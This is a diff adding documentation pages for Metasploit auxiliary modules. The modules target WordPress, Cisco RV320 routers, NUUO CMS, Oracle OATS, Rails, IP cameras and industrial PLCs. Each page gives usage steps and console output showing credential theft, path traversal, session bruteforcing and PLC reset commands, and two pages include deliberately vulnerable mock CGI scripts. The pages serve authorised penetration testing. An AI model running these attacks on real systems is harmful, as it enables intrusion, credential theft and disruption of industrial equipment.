+msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > run
+[*] Running module against 192.168.1.155
+[*] Using URL: http://192.168.1.132:8080/
+[*] Broadcasting Epic Sax Guy to 192.168.1.155:80
+[+] Doo-doodoodoodoodoo-doo
+[*] Sleeping for 10s serving .m3u8 and .ts files...
+[*] Server stopped.
+[*] Auxiliary module execution completed
+msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) >
+```
@@ -0,0 +1,33 @@
+## Vulnerable Application
+
+This module works against the Wordpress plugin `wp-google-maps` between 7.11.00 and 7.11.17 (included).
+
+[The vulnerable version is available on WordPress' plugin directory](https://downloads.wordpress.org/plugin/wp-google-maps.7.11.17.zip).
+
+## Verification Steps
+
+  1. `msfconsole`
+  2. `use auxiliary/admin/http/wp_google_maps_sqli`
+  3. `set RHOSTS <rhost>`
+  4. Set `DB_PREFIX` if necessary
+  5. `run`
+
+## Options
+
+### `DB_PREFIX` 
+
+Change the table prefix. By default, this option is set to `wp_`.
+
+## Scenarios
+
+### wp-google-maps 7.11.17 on WordPress 4.9.5
+
+```
+msf5 auxiliary(admin/http/wp_google_maps_sqli) > exploit
+[*] Running module against 172.22.222.144
+
+[*] 172.22.222.144:80 - Trying to retrieve the wp_users table...
+[+] Credentials saved in: /home/msfdev/.msf4/loot/20190415065921_default_172.22.222.144_wp_google_maps.j_022930.bin
+[+] 172.22.222.144:80 - Found msfdev <hash> <email>
+[*] Auxiliary module execution completed
+```
@@ -1,10 +1,10 @@
 ## Description

-This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with “interesting” names. This information can help you fine-tune further attacks against the database.
+This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with "interesting" names. This information can help you fine-tune further attacks against the database.

 ## Verification Steps

-1. Do: ```use auxiliary/scanner/mssql/mssql_idf```
+1. Do: ```use auxiliary/admin/mssql/mssql_idf```
 2. Do: ```set RHOSTS [IP]```
 3. Do: ```set THREADS [number of threads]```
 4. Do: ```run```
@@ -4,7 +4,7 @@ This module allows you to perform SQL queries against a database using known-goo

 ## Verification Steps

-1. Do: ```use auxiliary/scanner/mssql/mssql_sql```
+1. Do: ```use auxiliary/admin/mssql/mssql_sql```
 2. Do: ```set PASSWORD [password1]```
 3. Do: ```set RHOSTS [IP]```
 4. Do: ```set [SQL Command]```
@@ -0,0 +1,34 @@
+## Vulnerable Application
+
+  Unitronics Vision PLCs
+
+## Verification Steps
+
+  1. Do: `use auxiliary/admin/scada/pcom_command`
+  2. Do: `set RHOST=IP` where IP is the IP address of the target
+  3. Do: `run` to send PCOM command
+
+ ## Scenarios
+
+   ```
+msf5 > use auxiliary/admin/scada/pcom_command
+msf5 auxiliary(admin/scada/pcom_command) > show options
+
+Module options (auxiliary/admin/scada/pcom_command):
+
+   Name    Current Setting  Required  Description
+   ----    ---------------  --------  -----------
+   MODE    RESET            yes       PLC command (Accepted: START, STOP, RESET)
+   RHOST                    yes       The target address
+   RPORT   20256            yes       The target port (TCP)
+   UNITID  0                no        Unit ID (0 - 127)
+
+msf5 auxiliary(admin/scada/pcom_command) > set RHOST 192.168.1.1
+RHOST => 192.168.1.1
+msf5 auxiliary(admin/scada/pcom_command) > run
+
+[*] 192.168.1.1:20256 - Sending RESET command
+[*] 192.168.1.1:20256 - Command accepted
+[*] Auxiliary module execution completed
+msf5 auxiliary(admin/scada/pcom_command) >
+```
@@ -0,0 +1,59 @@
+## Intro
+
+This module acts as a simple remote control for Belkin Wemo-enabled
+Crock-Pots by implementing a subset of the functionality provided by the
+Wemo App.
+
+No vulnerabilities are exploited by this Metasploit module in any way.
+
+## Setup
+
+You may buy the device on Amazon at <https://www.amazon.com/dp/B00IPEO02C/>.
+
+## Actions
+
+```
+Name  Description
+----  -----------
+Cook  Cook stuff
+Stop  Stop cooking
+```
+
+## Options
+
+**TEMP**
+
+Set this to the desired temperature for cooking. Valid values are `Off`,
+`Warm`, `Low`, and `High`.
+
+**TIME**
+
+Set this to the desired cook time in full minutes.
+
+**DefangedMode**
+
+Set this to `false` to disable defanged mode and enable module
+functionality. Set this only if you're SURE you want to proceed.
+
+## Usage
+
+```
+msf5 > use auxiliary/admin/wemo/crockpot
+msf5 auxiliary(admin/wemo/crockpot) > set rhosts 10.22.22.1
+rhosts => 10.22.22.1
+msf5 auxiliary(admin/wemo/crockpot) > set temp High
+temp => High
+msf5 auxiliary(admin/wemo/crockpot) > set time 1
+time => 1
+msf5 auxiliary(admin/wemo/crockpot) > set defangedmode false
+defangedmode => false
+msf5 auxiliary(admin/wemo/crockpot) > set verbose true
+verbose => true
+msf5 auxiliary(admin/wemo/crockpot) > run
+
+[+] Wemo-enabled Crock-Pot detected
+[*] Cooking on High for 1m
+[+] Cook time set to 1m
+[*] Auxiliary module execution completed
+msf5 auxiliary(admin/wemo/crockpot) >
+```
@@ -0,0 +1,34 @@
+## Vulnerable Application
+
+This module is able to extract a zip file sent through Modbus from a pcap.
+
+Tested with Schneider TM221CE16R
+
+## Verification Steps
+
+1. Do: `use auxiliary/analyze/modbus_zip`
+2. Do: `set PCAPFILE <PATH_TO_PCAP>` where PATH_TO_PCAP is the PATH to the pcap file
+3. Do: `exploit` extract the zip file
+
+## Options
+
+**MODE**
+
+Default: UPLOAD. Changes offset within a packet that is used to check for a zip header.
+
+## Scenarios
+
+ ```
+msf > use auxiliary/analyze/modbus_zip
+msf auxiliary(analyze/modbus_zip) > set PCAPFILE file.pcap
+PCAPFILE => file.pcap
+auxiliary(analyze/modbus_zip) > set MODE DOWNLOAD
+MODE => DOWNLOAD
+msf auxiliary(analyze/modbus_zip) > exploit
+[*] Running module against 0.0.0.0
+
+[*] Zip start on packet 1370
+[*] Zip end on packet 1452
+[*] Done!
+[*] Auxiliary module execution completed
+```
@@ -0,0 +1,76 @@
+## Description
+
+C2S DVR allows an unauthenticated user to disclose the username
+& password by requesting the javascript page 'read.cgi?page=2'.
+This may also work on some cameras including IRDOME-II-C2S, IRBOX-II-C2S.
+
+## Vulnerable Application
+
+This module has been verified against the mock vulnerable page listed below.
+
+### Mock Vulnerable Page
+
+These instructions will create a cgi environment and a vulnerable perl application for exploitation.
+Kali rolling (2019.1) was utilized for this tutorial, with apache.
+
+#### Setup
+
+1. Enable cgi: `a2enmod cgid`
+2. `mkdir /var/www/html/cgi-bin`
+3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/html/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags
+4. Create the vulnerable page by writing the following text to `/var/www/html/cgi-bin/read.cgi`:
+
+```
+#!/usr/bin/perl
+use CGI qw(:standard);
+$query = new CGI;
+print $query->header( -type=> "text/javascript"),
+$query->import_names( 'Q' );
+
+my $data = <<'DATA';
+var pw_enflag = "1";
+var pw_adminpw = "12345";
+var pw_retype1 = "12345";
+var pw_userpw = "56789";
+var pw_retype2 = "56789";
+var pw_autolock = "0";
+DATA
+
+if ($Q::page == 2) {
+  print $data;
+}
+```
+
+## Verification Steps
+
+1. Start msfconsole
+2. ```use auxiliary/gather/c2s_dvr_password_disclosure```
+3. ```set rhosts [rhosts]```
+4. ```run```
+
+## Scenarios
+
+### Against the Mock page listed above
+
+  ```
+    resource (c2s.rb)> use auxiliary/gather/c2s_dvr_password_disclosure
+    resource (c2s.rb)> set rhosts 127.0.0.1
+    rhosts => 127.0.0.1
+    resource (c2s.rb)> set verbose true
+    verbose => true
+    resource (c2s.rb)> exploit
+    [*] Attempting to load data from /cgi-bin/read.cgi?page=2
+    [+] Found: admin:12345
+    [+] Found: user:56789
+    [*] Scanned 1 of 1 hosts (100% complete)
+    [*] Auxiliary module execution completed
+    [*] Starting persistent handler(s)...
+    msf5 auxiliary(gather/c2s_dvr_password_disclosure) > creds
+    Credentials
+    ===========
+    
+    host       origin     service        public  private  realm  private_type
+    ----       ------     -------        ------  -------  -----  ------------
+    127.0.0.1  127.0.0.1  80/tcp (http)  admin   12345           Password
+    127.0.0.1  127.0.0.1  80/tcp (http)  user    56789           Password
+  ```
@@ -0,0 +1,124 @@
+## Vulnerable Application
+
+[CVE-2019-1653](https://nvd.nist.gov/vuln/detail/CVE-2019-1653) (aka Cisco Bugtracker ID [CSCvg85922](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info)) is an unauthenticated disclosure of device configuration information for the Cisco RV320/RV325 small business router.  The vulnerability was responsibly disclosed by [RedTeam Pentesting GmbH](https://seclists.org/fulldisclosure/2019/Jan/52).
+
+An exposed remote administration interface (on :443) would allow an attacker to retrieve password hashes and other sensitive device configuration information.  On version `1.4.2.15`, the vulnerabilty is exploitable via the WAN interface on port 8007 (by default) or 443 (if remote administration is enabled), in addition to port 443 on the LAN side.  On version `1.4.2.17`, only LAN port 443 is accessible by default, but user configuration can open port 443 for remote management on the WAN side, making the device vulnerable externally.
+
+More context is available from [Rapid7's blog post](https://blog.rapid7.com/2019/01/29/cisco-r-rv320-rv325-router-unauthenticated-configuration-export-vulnerability-cve-2019-1653-what-you-need-to-know/).
+
+
+## Verification Steps
+
+ 1. Start `msfconsole`
+ 2. `use auxiliary/gather/cisco_rv320_config`
+ 3. `set RHOSTS 192.168.1.1` (default LAN IP) or to the WAN interface
+ 4. `run`
+ 5. Review the downloaded configuration file cited in the output.  For example:
+>```
+>[+] Stored configuration (128658 bytes) to /home/administrator/.msf4/loot/20190206213439_default_192.168.1.1_cisco.rv.config_791561.txt
+>```
+ 6. If the database is connected, review the `hosts`, `creds`, and `loot` commands
+
+## Options
+
+*SSL*: Should be set to 'true' for port 443 and set to 'false' for port 80 or port 8007.
+
+*TARGETURI*: Should point to the `/cgi-bin/config.exp` endpoint and likely should never be changed.
+
+## Scenarios
+
+#### Against firmware version 1.4.2.15, on the LAN interface, port 443:
+
+```
+msf5 >
+msf5 > use auxiliary/gather/cisco_rv320_config
+msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1
+RHOSTS => 192.168.1.1
+msf5 auxiliary(gather/cisco_rv320_config) > run
+
+[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+
+#### Against firmware version 1.4.2.15, on the WAN interface, port 8007:
+
+```
+msf5 >
+msf5 > use auxiliary/gather/cisco_rv320_config
+msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 203.0.113.54
+RHOSTS => 203.0.113.54
+msf5 auxiliary(gather/cisco_rv320_config) > set RPORT 8007
+RPORT => 8007
+msf5 auxiliary(gather/cisco_rv320_config) > set SSL false
+SSL => false
+msf5 auxiliary(gather/cisco_rv320_config) > run
+
+[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_203.0.113.54_cisco.rv.config_434637.txt
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+
+#### Against firmware version 1.4.2.17, on the LAN interface, port 443:
+
+```
+msf5 >
+msf5 > use auxiliary/gather/cisco_rv320_config
+msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1
+RHOSTS => 192.168.1.1
+msf5 auxiliary(gather/cisco_rv320_config) > run
+
+[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+
+#### Against newer firmware (>= 1.4.2.19), on the LAN interface, port 443:
+
+```
+msf5 >
+msf5 > use auxiliary/gather/cisco_rv320_config
+msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1
+RHOSTS => 192.168.1.1
+msf5 auxiliary(gather/cisco_rv320_config) > run
+
+[-] Auxiliary aborted due to failure: not-vulnerable: Response suggests device is patched
+[*] Auxiliary module execution completed
+```
+
+#### If module succeeds, check the database:
+
+```
+msf5 auxiliary(gather/cisco_rv320_config) > hosts
+
+Hosts
+=====
+
+address      mac                name          os_name  os_flavor  os_sp  purpose  info  comments
+-------      ---                ----          -------  ---------  -----  -------  ----  --------
+203.0.113.54 70:E4:22:94:E7:20  router94e720  Cisco    RV320                            
+192.168.1.1  70:E4:22:94:E7:20  router94e720  Cisco    RV320                            
+```
+
+```
+msf5 auxiliary(gather/cisco_rv320_config) > creds
+Credentials
+===========
+
+host         origin       service          public  private                            realm  private_type
+----         ------       -------          ------  -------                            -----  ------------
+203.0.113.54 192.168.1.1  8007/tcp (http)  cisco   $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/         Nonreplayable hash
+192.168.1.1  192.168.1.1  443/tcp (https)  cisco   $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/         Nonreplayable hash
+```
+
+```
+msf5 auxiliary(gather/cisco_rv320_config) > loot
+
+Loot
+====
+
+host         service  type             name  content     info  path
+----         -------  ----             ----  -------     ----  ----
+203.0.113.54          cisco.rv.config        text/plain        /home/administrator/.msf4/loot/20190206213439_default_203.0.113.54_cisco.rv.config_791561.txt
+192.168.1.1           cisco.rv.config        text/plain        /home/administrator/.msf4/loot/20190206211312_default_192.168.1.1_cisco.rv.config_412095.txt
+```
@@ -0,0 +1,66 @@
+## Description
+
+This module performs unauthenticated requests to retrieve masthead, sites, and packages information from IBM BigFix Relay Servers. If the **DOWNLOAD** option is set then the module will attempt to download the identified packages. This module has been tested against Relay Server 9.5.10.79.
+
+## Vulnerable Application
+
+BigFix Platform 9.2 - 9.2.16 and 9.5 - 9.5.11
+
+## Options
+
+**SHOW_MASTHEAD**
+
+Default: true. Read Organization name from `/masthead/masthead.axfm`
+
+**SHOW_PACKAGES**
+
+Default true. Read Action values and packages names from `/cgi-bin/bfenterprise/BESMirrorRequest.exe`
+
+**SHOW_SITES**
+
+Default true. Read Site URLs from `/cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands`
+
+**DOWNLOAD**
+
+Default true. Attempt to download identified packages.
+
+**ShowURL**
+
+Default false. Show full URL for the packages instead of the filename.
+
+## Verification Steps
+
+1. `./msfconsole -q`
+2. `use auxiliary/gather/ibm_bigfix_sites_packages_enum`
+3. `set rhosts <rhost>`
+4. `exploit`
+
+## Scenarios
+
+### Relay Version 9.5.10.79
+
+```
+msf5 > use auxiliary/gather/ibm_bigfix_sites_packages_enum
+msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > set rhosts <rhost>
+rhosts => <rhost>
+msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > exploit
+[*] Running module against [IP]
+
+[+] [Organization]
+[+] http://[hostname]:52311/cgi-bin/bfgather.exe/actionsite
+[+] http://[hostname]:52311/cgi-bin/bfenterprise/PostResults.exe
+<snip>
+[*] Sites
+[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
+[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
+[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
+<snip>
+[*] Packages
+[*] Action: [action number]
+[+] File: [package name]
+[*] Action: [action number]
+[+] File: [package name]
+<snip>
+[*] Auxiliary module execution completed
+msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) >
+```
@@ -0,0 +1,62 @@
+## Description
+
+  SIEMENS IP-Camera (CVMS2025-IR + CCMS2025), JVC IP-Camera (VN-T216VPRU),
+  and Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR)
+  allow an unauthenticated user to disclose the username & password by
+  requesting the javascript page 'readfile.cgi?query=ADMINID'.
+  Siemens firmwares affected: x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235
+
+## Vulnerable Application
+
+This module has been verified against the mock vulnerable page listed below.
+
+### Mock Vulnerable Page
+
+These instructions will create a cgi environment and a vulnerable perl application for exploitation.
+Kali rolling (2019.1) was utilized for this tutorial, with apache.
+
+#### Setup
+
+1. Enable cgi: `a2enmod cgid`
+2. `mkdir /var/www/html/cgi-bin`
+3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/html/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags
+4. Create the vulnerable page by writing the following text to `/var/www/html/cgi-bin/readfile.cgi`:
+
+```
+#!/usr/bin/perl
+use CGI qw(:standard);
+$query = new CGI;
+print $query->header( -type=> "text/javascript"),
+$query->import_names( 'Q' );
+my $data = <<'DATA';
+var Adm_ID="admin";
+var Adm_Pass1="password";
+var Language="en";
+var Logoff_Time="0";
+DATA
+if ($Q::query == "ADMINID") {
+  print $data;
+}
+```
+
+## Verification Steps
+
+1. Start msfconsole
+2. ```use auxiliary/gather/ipcamera_password_disclosure```
+3. ```set rhosts [rhosts]```
+4. ```run```
+
+## Scenarios
+
+### Against the Mock page listed above
+
+  ```
+  msf5 > use auxiliary/gather/ipcamera_password_disclosure 
+  msf5 auxiliary(gather/ipcamera_password_disclosure) > set rhosts 127.0.0.1
+  rhosts => 127.0.0.1
+  msf5 auxiliary(gather/ipcamera_password_disclosure) > run
+  
+  [+] Found: admin:password
+  [*] Scanned 1 of 1 hosts (100% complete)
+  [*] Auxiliary module execution completed
+  ```
@@ -0,0 +1,81 @@
+## Description
+
+Nuuo CMS Session Bruteforce
+
+The NUUO CMS protocol uses session tokens in a similar way to HTTP cookies. As mentioned in the summary, if a USERLOGIN request is sent with a correct username and password, a "User-Session-No" token will be returned. The number returned is composed of 8 digits, so if an attacker wanted to guess it, they would have 10 million possibilities, and would be able to bruteforce it on average after 5 million tries.
+
+The function responsible for creating a new user is at offset 0x454E80 in CMS_Server.exe version 2.1. It sets up a new user object and returns the session token to the calling function. This function has what is probably a coding error - the number returned is actually not a number, but the heap address of the user object created by invoking "new()" in the user object class. An assembly snippet is shown below:
+
+```
+.text:00454E80 000                 push    0FFFFFFFFh
+.text:00454E82 004                 push    offset loc_5E2013
+.text:00454E87 008                 mov     eax, large fs:0
+.text:00454E8D 008                 push    eax
+.text:00454E8E 00C                 sub     esp, 8    
+.text:00454E91 014                 push    ebp
+.text:00454E92 018                 push    esi
+.text:00454E93 01C                 push    edi
+.text:00454E94 020                 mov     eax, dword_68D134
+.text:00454E99 020                 xor     eax, esp   
+.text:00454E9B 020                 push    eax
+.text:00454E9C 024                 lea     eax, [esp+24h+var_C]
+.text:00454EA0 024                 mov     large fs:0, eax
+.text:00454EA6 024                 mov     ebp, ecx
+.text:00454EA8 024                 lea     edi, [ebp+43Ch] 
+.text:00454EAE 024                 push    edi             ; lpCriticalSection_EnterCriticalSection
+.text:00454EAF 028                 mov     [esp+28h+var_10], edi
+.text:00454EB3 028                 call    ds:EnterCriticalSection
+.text:00454EB9 024                 push    1B8h            ; unsigned int
+.text:00454EBE 028                 mov     [esp+28h+var_4], 0
+.text:00454EC6 028                 call    ??2@YAPAXI@Z    ; new() operator, returns object in eax
+(...)
+```
+
+After the call to ??2@YAPAXI@Z in .text:00454EC6, the session number is returned to the calling function (sub_457100), which then stores it and sends it back to the client as the valid session number:
+
+```
+NUCM/1.0 200 OK
+User-Valid: %d
+Server-Version: %s
+Ini-Version: %d
+License-Number: %d
+User-Session-No: %u <---- session number, which is a hexadecimal memory address converted to decimal
+```
+
+These session numbers (tokens) are not that easy to predict, however after collecting thousands of samples I was able to build a table of the most common occurrences, which reduces the possibilities from 10 million to about 1.2 million. In practice, the tokens can usually be guessed between in less than 500,000 attempts - an improvement of 95% over standard bruteforcing. It is likely this can be further improved with some deeper analysis, but due to time constraints this was not investigated further. The tables used to do the bruteforcing are in Appendix #C.
+
+This attack is perfectly feasible despite the high number of attempts needed. Firstly, there is no bruteforce protection on the CMS server, so we can just flood it with requests and find the session number in less than an hour. 
+Secondly, due to the nature of this application, it is normal to have the software clients logged in for a long amount of time (days, weeks) in order to monitor the video cameras controlled by CMS.
+
+It is worth noticing that when a user logs in, the session has to be maintained by periodically sending a PING request. To bruteforce the session, we send each guess with a PING request until a 200 OK message is received. 
+
+## Vulnerable Application
+
+[NUUO Central Management Server (CMS): all versions below 2.4.0](d1.nuuo.com/NUUO/CMS/)
+
+ - 1.5.2 OK
+ - 2.1.0 OK
+ - 2.3.0 OK
+
+## Scenarios
+
+### Tested on Windows 10 Pro x64 running NCS Server v2.1.0
+
+```
+msf5 auxiliary(gather/nuuo_cms_bruteforce) > set rhosts 172.22.222.200
+rhosts => 172.22.222.200
+msf5 auxiliary(gather/nuuo_cms_bruteforce) > exploit
+
+[*] 172.22.222.200:5180 - Bruteforcing session - this might take a while, go get some coffee!
+[*] 172.22.222.200:5180 - Generating 2621440 session tokens
+[+] 172.22.222.200:5180 - Found valid user session: 42094216
+[*] 172.22.222.200:5180 - Time taken: 1384.588721601991 seconds; total tries 590893
+[*] Auxiliary module execution completed
+msf5 auxiliary(gather/nuuo_cms_bruteforce) >
+```
+
+## References
+
+https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
+
+https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
@@ -0,0 +1,71 @@
+## Description
+
+Nuuo CMS Authenticated Arbitrary File Download
+
+The GETCONFIG verb is used by a CMS client to obtain configuration files and other resources from the CMS server. An example request is below:
+
+```
+GETCONFIG NUCM/1.0
+FileName: <filename>
+FileType: <number>
+User-Session-No: <session-number>
+```
+
+The FileType determines the directory where the file will be downloaded from. "FileType: 0" will download from the base installation directory (CMS_DIR), while "FileType: 1" will download from "<CMS_DIR>\Images\Map\". There are other defined FileType integers, but these have not been investigated in detail.
+
+The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\\..\\) characters. Therefore, this function can be abused to obtain any files off the file system, including:
+
+- CMServer.cfg, a file zipped with the password "NUCMS2007!" that contains the usernames and passwords of all the system users (enabling a less privileged user to obtain the administrator's password)
+- ServerConfig.cfg, another file zipped with the password "NUCMS2007!" that contains the SQL Server "sa" password as well the FTP server username and password
+- Any other sensitive files in the drive where CMS Server is installed.
+
+This module works in the following way:
+
+- if a SESSION number is present, uses that to login
+- if not, tries to authenticate with USERNAME and PASSWORD
+
+Due to the lack of ZIP encryption support in Metasploit, the module prints a warning indicating that the archive cannot be unzipped in Msf.
+
+## Vulnerable Application
+
+[NUUO Central Management Server (CMS): all versions up to and including 3.5.0](http://d1.nuuo.com/NUUO/CMS/)
+
+The following versions were tested:
+
+ - 1.5.2 OK
+ - 2.1.0 OK
+ - 2.3.2 OK
+ - 2.4.0 OK
+ - 2.6.0 OK
+ - 2.9.0 OK
+ - 2.10.0 OK
+ - 3.1 OK
+ - 3.3 OK
+ - 3.5 OK
+
+## Scenarios
+
+### Tested on Windows 10 Pro x64 running NCS Server 2.4.0
+
+```
+msf5 auxiliary(gather/nuuo_cms_file_download) > set rhosts 172.22.222.200
+rhosts => 172.22.222.200
+msf5 auxiliary(gather/nuuo_cms_file_download) > exploit
+
+[+] 172.22.222.200:5180 - Downloaded file to /home/msfdev/.msf4/loot/20190219064923_default_172.22.222.200_CMServer.cfg_227185.cfg
+[+] 172.22.222.200:5180 - Downloaded file to /home/msfdev/.msf4/loot/20190219064923_default_172.22.222.200_ServerConfig.cfg_050084.cfg
+[*] 172.22.222.200:5180 - The user and server configuration files were stored in the loot database.
+[*] 172.22.222.200:5180 - The files are ZIP encrypted, and due to the lack of the archive/zip gem,
+[*] 172.22.222.200:5180 - they cannot be decrypted in Metasploit.
+[*] 172.22.222.200:5180 - You will need to open them up with zip or a similar utility, and use the
+[*] 172.22.222.200:5180 - password NUCMS2007! to unzip them.
+[*] 172.22.222.200:5180 - Annoy the Metasploit developers until this gets fixed!
+[*] Auxiliary module execution completed
+msf5 auxiliary(gather/nuuo_cms_file_download) >
+```
+
+## References
+
+- https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
+
+- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
@@ -0,0 +1,79 @@
+## Description
+
+Oracle Application Testing Suite (OATS) is a comprehensive, integrated testing solution for web applications, web services, packaged Oracle applications, and Oracle databases. OATS is part of an application deployed in the WebLogic service on port 8088, which also includes these tools: Administrator, OpenScript, Oracle Load Testing, and Oracle Test Manager.
+
+In the Load Testing component, a vulnerability was discovered by Steven Seeley (@mr_me) of Source Incite in the DownloadServlet class. According to the Source Incite advisory, the issue results from the lack of proper validation of a user-supplied string before using it to read a file. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Note that authentication is required.
+
+This vulnerability is also known as CVE-2019-2557.
+
+
+## Vulnerable Application
+
+The following is the exact setup I used to test and analyze the vulnerability:
+
+- Windows Server 2008 R2 x64 (other Windows systems are also supported)
+  - .Net Framework 3.5 enabled (from add/remove features)
+  - IE ESC (from Server Manager) disabled
+  - 8GB of RAM (at least more than 4GB will be used to run OATS)
+  - Duel-Core processor
+- oats-win64-full-13.3.0.1.262.zip (x86 did not work for me)
+- Jdk-7u21-windows-x64.exe
+- OracleXE112_Win64.zip (Newer version 18c did not work well for me)
+- Firefox (I had to install this because IE on Win2k8 is completely outdated)
+- Adobe Flash installed (IE ESC needs to be disabled in order to install this)
+
+For installation instructions, please refer to the Oracle Application Testing Suite Installation Guide.
+
+## Notes
+
+By default, your starting traversal path is:
+
+```
+C:\OracleATS\config\Report Templates\
+```
+
+There are some interesting files you can steal from this directory, such as:
+
+* oats-config.xml
+* oats-database-config.xml
+* oats-keystore
+
+Code execution is possible leveraging from this vulnerability if you target these files:
+
+* C:\OracleATS\oats\servers\AdminServer\security\SerializedSystemIni.dat
+* C:\OracleATS\oats\servers\AdminServer\security\boot.properties
+
+After that, you can find a third party script to decrypt the credentials, and then you could
+gain code execution from the administrator console.
+
+
+## Credit
+
+Special thanks to Steven Seeley to assist on the development of the Metasploit module.
+
+## Scenarios
+
+```
+msf5 auxiliary(gather/oats_downloadservlet_traversal) > run
+[*] Running module against 172.16.249.143
+
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
+<properties>
+<entry key="oracle.oats.cluster.agent.username">oats-agent</entry>
+<entry key="oracle.oats.security.keystore.info">eYAdfLaDkdBlUmflYhpg+CHGeXc=</entry>
+<entry key="oracle.oats.cluster.username">oats</entry>
+<entry key="oracle.oats.cluster.agent.password">{AES}WNdIPXpoeoZzyDNuJPm0wU4R3YKc1SUR2k5+TbQfzIQ=</entry>
+<entry key="oracle.oats.admin.username">oats</entry>
+<entry key="oracle.oats.http.url">http://localhost:8088</entry>
+<entry key="oracle.oats.config.version">9.1.0</entry>
+<entry key="oracle.oats.admin.password">{AES}NHrwlbPc7Arlb7puj+UlzAAXB/dUEbv3bdwNnee1/sc=</entry>
+<entry key="oracle.oats.cluster.password">{AES}WMTjMmLChdB9CTSrnyJ33113u0ml0juuGZQCWPODJTk=</entry>
+<entry key="oracle.oats.admin.url">t3://localhost:8088</entry>
+<entry key="oracle.oats.tmp.dir">/tmp</entry>
+<entry key="oracle.oats.cluster.url">t3://localhost:8088</entry>
+</properties>
+
+[*] Auxiliary module execution completed
+msf5 auxiliary(gather/oats_downloadservlet_traversal) > 
+```
@@ -0,0 +1,76 @@
+## Vulnerable Application
+
+  Ruby on Rails versions <= 5.2.2. The following example shows how to recreate the vulnerable environment on Linux:
+
+  https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
+
+## Verification Steps
+
+  1. Start a Rails server using a vulnerable version 
+  2. Start msfconsole
+  3. Do: ```use auxiliary/gather/rails_doubletap_file_read```
+  4. Do: ```set ROUTE /your_route```
+  5. Do: ```set RHOSTS target```
+  6. Do: ```set TARGET_FILE /absolute/path/to/remote/file.txt```
+  7. Do: ```run```
+  8. If everything goes smoothly, you should get the contents of the remote file printed to the console.
+
+
+## Options
+
+  **ROUTE**
+
+  This is a web path or "route" on the vulnerable server. Since the vulnerability lies within the PathResolver of Rails, the route should be in the server's routes.rb file. 
+
+  **TARGET_FILE**
+
+  This is the file to be read on the remote server. This *must* be an absolute path (eg. /etc/passwd).
+
+## Advanced Options
+
+  **SKIP_CHECK**
+  
+  This options skips the initial vulnerability check and continues thinking the server is vulnerable. 
+
+## Scenarios
+
+### Version of software and OS as applicable
+
+
+  ```
+msf5 > use auxiliary/gather/rails_doubletap_file_read
+msf5 auxiliary(gather/rails_doubletap_file_read) > options
+
+Module options (auxiliary/gather/rails_doubletap_file_read):
+
+   Name         Current Setting  Required  Description
+   ----         ---------------  --------  -----------
+   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
+   RHOSTS                        yes       The target address range or CIDR identifier
+   ROUTE        /msf             yes       A route on the vulnerable server.
+   RPORT        80               yes       The target port (TCP)
+   SSL          false            no        Negotiate SSL/TLS for outgoing connections
+   TARGET_FILE  /etc/passwd      yes       The absolute path of remote file to read.
+   VHOST                         no        HTTP server virtual host
+
+msf5 auxiliary(gather/rails_doubletap_file_read) > set RHOSTS localhost
+RHOSTS => localhost
+msf5 auxiliary(gather/rails_doubletap_file_read) > set RPORT 8000
+RPORT => 8000
+smsf5 auxiliary(gather/rails_doubletap_file_read) > set ROUTE /demo
+ROUTE => /demo
+msf5 auxiliary(gather/rails_doubletap_file_read) > run
+[*] Running module against 127.0.0.1
+
+[+] Target is vulnerable!
+[*] Requesting file /etc/passwd
+[+] Response from server:
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+...snip...
+systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
+postgres:x:105:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
